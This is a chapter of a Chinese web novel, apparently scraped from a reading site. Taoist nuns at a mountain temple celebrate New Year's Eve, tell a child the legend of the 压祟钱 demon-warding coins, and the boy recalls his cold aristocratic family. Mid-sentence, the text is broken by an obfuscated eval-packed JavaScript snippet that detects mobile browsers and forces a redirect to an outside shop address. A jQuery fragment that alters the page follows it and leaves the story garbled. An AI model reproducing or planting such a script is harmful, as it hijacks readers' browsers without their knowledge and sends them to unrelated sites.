文趣网 > 其他小说 > 不见参商 > 47. 新年到(二)
    “……因此,从小世子入观那一日起,你便告诉他,清峰观就是他的家。”

    “我等皆自孩提长成,知晓孩童顽劣是无人教养之故。父母俱已不在,这茫茫世间,谁又来做那个教养他的人。孩童生长期不过寥寥数载,一旦错过,便是一生根基倾斜,日后旁人无关紧要地说起,不过一句‘本性难移’罢了。”

    “可……他来时浑身是刺,心防如铁,旁人说他已然长歪了……”

    “无人关心,又受了苦,行径粗野,众人便道这是个坏孩子,长大了必成坏人。”李观棋并不赞同,“世人只见其表,可风清,你多看一看他的眼睛,就知道他的眼底是澄澈的,他爱说的总是心口不一的,他虽然推开你,但他心底是希望你能靠近的。他心中矛盾,日日煎熬,我们身为长辈,应当拉他这一把。他既踏入清峰观的门,清峰观便有他一份。清峰观是道门清修之地,他便是这里的小道长,是家,他便是家里的孩子。一日为师,终身为父,我要他在清峰观里落叶归根。将来,无论是做道士、富贵散人也好,做江湖游侠、行商坐贾也罢,我希望他能修出一颗道心,有此心在,不论身在何方,他都能走得更远。”

    “若日后,他不能按照你的教导成长呢?他如今仍未拜你为师,我恐怕……”

    “尽人事,知天命。对于人,我从不强求。”

    李观棋淡淡看向不远处——戴着老虎帽的徐春凤,正眼睛亮晶晶、嘴巴亮晶晶地同玄阳、虚竹说着什么,叽里呱啦的,无非山下有多么多么热闹,东西多么多么好吃,颇具几分真少年的开朗纯真。

    “倘若真长成个混世魔王,倒也好了。”

    “……”

    十足的坏孩子大可不留情面的严加管教,偏偏世间大多数孩子都又好又坏,叫人又爱又恨,头疼不已。

    比起云清的无畏心,风清总是担忧。若云清是贵族,她犯不着担心她,今夜既知晓了她从前的身份,再看她一副天不怕地不怕的模样,她敬佩,更担忧。

    但既然是云清做好的决定,她就相信她。

    “我素来觉得皇宫嵯峨森肃,天威凛然莫测,唯恐小世子稍有闪失,葬送了整个清峰观,我们的性命,便保不住了。”

    风清开了口,“那年官兵闯进家门,抓走了我爷娘和兄弟。彼时我年岁尚幼,只记得阿娘回头望我那一眼,嘴张着,却没声。不久便有文书下来,满门男丁,尽数斩于市。我吓得魂不附体,自那时起,心里便落下了一颗畏惧权贵的种子。没过多久,我阿娘也走了。这颗种子,拔不去,毁不掉,每一次夜半心悸,每一回闻得门外马蹄人声嘈杂,它都要长一厘。”

    “原以为辞了红尘、披上道衣,入观修行,与松风云海为伴,便能远离尘嚣、不问世事,做个真正的出尘忘世之人。后来才明白,普天之下,莫非王土,只要人活着,便有贵贱。当时在栖霞村,你说世人对云游道士的成见,是一座移不开的山,你不愿做愚公,行移山之举——天潢贵胄,又何尝不是一座根本移不开的山。玉京天子脚下,唯有步步谨慎、字字斟酌,或许才能勉强护住,现下这一隅清净。”

    “你家之事,可有冤屈?”

    “若有冤屈,便有所恨。恨无所恨,只怪,世道不好。”

    “好一句,恨无所恨啊……”

    皇城的烟花放完了,天幕恢复广袤无垠的寂静,热闹却依旧醒着。

    二人回了院内,两大一小正说得热闹,神仙精怪、志异传闻,每到除夕守岁,百聊不厌。

    她们顺势坐下,李观棋道,“我也来讲一个故事。”

    “相传在很久很久以前,天地间有一种叫做‘祟”的东西。它不是妖,也不是鬼,而是一种从旧岁与新岁交替的缝隙里滋生出来的晦气。每年除夕夜,当年月时辰转到新旧交接的那一刻,祟便会从门缝、窗隙、瓦檐之下钻入人家,专寻那些睡梦中的孩童。只要它的手,在熟睡的小孩额上摸三下……”

    李观棋将手伸向坐于她对面的徐春凤,玄阳则立刻配合,碰上徐春凤的额头。这一碰徐春凤一个激灵,所有困意瞬间消散。

    “……当夜便会发起高热,呓语不止。轻则病上三五日,重则损了灵智,变得痴傻疯癫。”

    连拍三下,徐春凤好像已然痴呆了。

    “因而古时候的人家,怕祟来害孩子,就点亮炭火,大人们守着炭火,怀里抱着孩子,团坐不睡,称作‘守祟’。某一年,有一家管姓人家,夫妻二人老年得子,视若珍宝,取名宝儿。有一日,村里来了个讨水喝的道士,村中无人理会,只有这对善良的夫妻给了他一碗水,作为回报,道士给了夫妻八枚铜钱,说这铜钱可以驱除邪祟。到了除夕,天还没黑,妻子就抱着宝儿开始发愁——”

    云清示意玄阳,玄阳立马把徐春凤抱怀里,对虚竹道,“当家的,今儿晚上怎么熬?咱俩轮着抱吧。”

    “宝儿爹就点点头,说——”

    虚竹:“只能如此了。”

    “在夫妻二人彻夜担忧的这个除夕夜,忽然,宝儿爹像是想起什么似的猛地站起来,进屋拿了什么出来,问宝儿娘,还记得那个道长留下来的东西吗?宝儿娘忙点点头。钱能通神,红能辟邪。宝儿爹就递给了宝儿。”

    徐春凤震惊地看着虚竹不知道从哪儿真的掏出了一个红色的小布包,递给他。

    “宝儿的小手紧紧地攥着那个红色小布包……”

    李观棋话音还没落,徐春凤就立马攥紧了,风清没忍住,低头饮酒,遮挡笑意。

    “夜深了。炭盆里的火渐渐暗下去,屋外的风声变得细长,像是有什么东西贴着墙根在游走。宝儿娘先撑不住了,头一点一点地往下栽,宝儿爹掐了自己大腿好几把,掐到后来也歪倒了。一家三口就这么熟睡了过去。也就是这时,炭火忽然熄灭,一团青黑色的雾气在凄清的月光下,肉眼可见的飘了进来。祟来了。它伸出它纯黑的,细长的指爪……”李观棋边说边撑着桌子,身体往前探,“就碰向宝儿的额头……”

    徐春凤眼见李观棋的手越来越近、越来越近,一把埋进玄阳怀里,同时举起红布包。

    讲故事固然有意思,小孩的配合更令人心旷神怡。李观棋坐了回去,“只见这时,小小的红布包发出漫天的光,把整个院落都照亮了。祟的黑影立马无处遁形,四散逃走了,连一丝痕迹都没留下。而宝儿依然安然无恙,轻轻翻了翻身,面容乖巧安静,像做了一个美梦。第二日,夫妻二人就把这件事告诉了大家……”

    徐春凤睁开眼了,玄阳也不再抱他了。李观棋接着道,“后来每年除夕夜,大家学着做,祟再也没有来捣过乱,孩子们都太平无事了。往后这铜钱,便称作‘压祟钱’。而‘祟’与年岁的‘岁’同音,在除夕夜这天,晚辈得到压祟钱,就代表,可以平平安安度过一岁。”

    三位道长都将怀中、袖中的压祟钱给了他。而李观棋带着一点酒气,一点笑意,也从袖中掏出了一包红红的压祟钱。

    “……”

    徐春凤看着手里满满当当的红包,没忍住鼓起脸,而后眼睛眨巴得越来越快,睫毛上亮晶晶的。

    “将它压到枕头底下,今晚就可以安然入睡了。我还为你准备了一份新年礼物。”

    李观棋起身,徐春凤忙借假意咳嗽,抹掉眼泪。

    她进屋拿了个系着红绳结的布包出来,很有分量很大的一个。徐春凤的眼睫上还挂着些晶莹,愣愣地接过,放在腿上,有他半个身子厚,拆开一看——一套文房四宝,好几摞纸,纸页间还夹着几片压干的花瓣,泛着淡淡花香,雅致得很。

    原本温情时刻,徐春凤的小脸就皱起了——谁家好人过年送纸笔的?读书,读书,读得没完没了。

    “不喜欢?”

    徐春凤诚实地摇摇头。玄阳和虚竹见状,都不约而同哈哈大笑,替徐春凤说话,李观棋才意识到这不算一份孩子喜欢的礼物,便又问,“你何时生辰?”

    这、这太后娘娘可没交代过他啊。

    但……知道公主与驸马“遗孤”生辰的,应当也只有埋在地底下的他们本人了吧……?

    “……春……春天……”

    徐春凤含糊道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755866|206556||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “那待你生辰到了,我再补你一份生辰礼,如何?”

    好在黑乌鸦并未追问,徐春凤连忙点点头。

    “去睡吧。对了,明日将山脚的牌子撤了,让香客们方便祈福,赶个热闹。”

    众人应声。

    徐春凤踏出院门时,忍不住回头看了一眼。

    院内洒满清辉,没有雪。他来这里两年冬,南朝从不下雪——月色便格外干净,道长们又煮了酒,畅快聊天,肆意大笑。

    他回到自己的小院子,爬上床,将压祟钱整整齐齐地压在枕头底下。然后吹了灯,躺下来,后脑勺枕上,能感觉出微微硌着的形状。月光从窗棂里漏进来,在地上画了一道一道的白,似乎还能听见热闹声。

    他不是第一次收到压祟钱,他每年过年都会收到的。

    往年在家,除夕要先去祠堂磕头,给祖宗牌位上香,然后依次给祖父祖母、父亲母亲、各位叔伯婶娘磕头拜年——但只有母亲是他自己的。每磕一个头,就有一个红纸封递过来,沉甸甸的,装着银锞子。他要双手接过,恭恭敬敬地说一句吉利话,再磕一个头,退到旁边站好。一整套规矩礼数走下来,膝盖、脚都是疼的。就这样了,连吃饭都不能吃饱,只能动眼前的,否则就是“没规矩”,而那张桌子那么大,他就只能够到他面前的那一盘菜,而他坐在末尾,从来不会是荤菜。

    除夕,从祠堂到家宴,从磕头到守岁,或者说从睡醒开始,他就是一个画在纸上的小人,被摆到东,被摆到西,没有一刻是自在的。

    而给他压祟钱的大人们也并非真的待见他,属于两方互相折磨——甚至可以说看见他就觉得碍眼,霸着府中一个“长公子”的身份,让他们家真正的嫡子爱孙,失了一半血统地位。

    有一年他实在受不了这规矩束缚,趁大人们推杯换盏的工夫溜出去,跑到街上看别的小孩子放鞭炮,他们还邀请他一起呢。他第一次放鞭炮,紧张得手心都冒汗。他们把鞭炮拆散了,一个一个点着往雪地里扔,炸得雪花四溅,笑得嗓子都哑了。后来满府的人打着灯笼找他,他回去时,他娘就站在府门口,脸上的表情他到现在都记得——不是担心,是愤怒。

    回府以后他被罚在祠堂里跪了一个时辰,他娘骂得最凶,骂他不服管教,连那个男人都在劝她,要扶他起来,说要是过年哭了,一整年就都不会开心的。他本来就伤心,还要听他咒他一年不好,登时就推开男人:不用你管!他娘直接一个巴掌甩到了他脸上。

    而他再抬脸,他们全都齐齐地站在一边,他一个人站在祠堂里,他们才是真正的一家人,天地间,尽是烟花爆竹声。

    后来他在祠堂跪了一整夜。从那天起,他就不认她是她娘了。

    所以要离开那个家时,他其实是很高兴的。只是他不服管教,他觉得应该由他来选择他想去哪儿,而不是莫名奇妙的他要先有一个死掉的替身。他理解不了大人,也不想理解,他想做他自己,而不是现在的这个“徐春凤”,他自己,就这么见不得人吗。

    所以一直以来他都很抵触,抵触一切控制他、妄图让他规矩的人。但今夜他突然发现,他有幸福。

    他第一次,听到“年”的由来,听到压祟钱的故事,第一次被当成一个小孩子一样,被他们哄着、逗着,祝福着。

    观里也要守很多规矩,早课不能落,杂活天天都要干,甚至吃得也不好——但这些规矩,是教他行走坐卧、人生道理的大规矩,而不是细到一针一眼的小规矩,不是跪久了动一下就要受眼刀,多吃块肉就是没体统,归根结底是那些人看他不顺眼,那他怎么做都是错。而清峰观的道长们,从来一视同仁。

    就像黑乌鸦从一开始告诉他的,如果他完成了该做的课业与修行,就会发现观中岁月实在清闲、自在。如今他的确仍然不自由,但至少获得了自在,不用摆姿势,不用拿腔调,不用强行把自己塞进“大公子”的壳子里。

    时辰本就很晚了,徐春凤安然入梦,梦里还梦见了“年”和“祟”被他与师父们一同驱散,未来一年,平安无虞。